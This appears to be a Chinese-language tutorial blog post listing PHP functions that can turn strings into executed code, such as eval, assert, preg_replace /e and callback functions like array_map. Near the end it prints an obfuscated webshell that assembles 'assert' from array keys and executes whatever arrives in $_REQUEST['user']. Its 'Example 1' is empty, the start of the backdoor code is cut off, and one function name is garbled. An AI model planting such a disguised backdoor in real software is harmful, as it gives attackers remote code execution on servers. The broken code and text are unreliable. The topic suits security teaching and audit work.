PHP常见代码执行后门函数(例如eval和assert)

什么是代码执行:

应用程序在调用一些能够将字符串转换为代码的函数(例如php中的eval中),没有考虑用户是否控制这个字符串,将造成代码执行漏洞。

常见php代码执行函数介绍

常用执行代码函数

1、eval():


eval函数将接受的字符串当做代码执行

2、 assert():

用法和 eval()一样


3、preg_replace():


preg_replace 函数一个参数是一个正则表达式,按照 php的格式,表达式在两个/之间,如果在表达式末尾加上一个 e,则第二个参数就会被当做 php代码执行

4、 create_function():

 

创建了一个匿名函数,并返回了一个独一无二的函数名

5、 call_user_func():



函数的第一个参数是被调动的函数,剩下的参数(可有多个参数)是被调用函数的参数

call_user_func_array(): 方法同上,只是第二个参数要是一个数组,作为第一个参数的参数

6、更多回调函数

call_user_func_array()
call_user_func()
array_filter() 
array_walk() array_map()
registregister_shutdown_function()
register_tick_function()
filter_var() 
filter_var_array() 
uasort() 
uksort() 
array_reduce()
array_walk() 
array_walk_recursive()


解释:把函数作为参数传入进另一个函数中使用。


call_user_func

把第一个参数作为回调函数调用

call_user_func_array

调用回调函数,并把一个数组参数作为回调函数的参数

usort

使用用户自定义的比较函数对数组中的值进行排序

register_shutdown_function

注册一个会在php中止时执行的函数

array_map

为数组的每个元素应用回调函数

array_walk

使用用户自定义函数对数组中的每个元素做回调处理

array_filter

用回调函数过滤数组中的单元

array_reduce

用回调函数迭代地将数组简化为单一的值

array_udiff

用回调函数比较数据来计算数组的差集

array_uintersect

计算数组的交集,用回调函数比较数据

array_diff_uassoc

用用户提供的回调函数做索引检查来计算数组的差集

array_diff_ukey

用回调函数对键名比较计算数组的差集

例子1:

例子2:更隐蔽的后门

 "lemon", "ss" => "orange", "ssr" => "banana", "t" => "apple");
$a =array_keys($fruits);
$m =$a[0].$a[1];
$n ='er';
$q = $m.$n.'t';
$r = $_REQUEST['user'];
@$q($r);
/*
$q会拼接成assert,然后使用@assert("黑客入侵代码")来执行
assert这个函数在php语言中是用来判断一个表达式是否成立。返回true or false;
*/
?>

 

你可能感兴趣的:(PHP)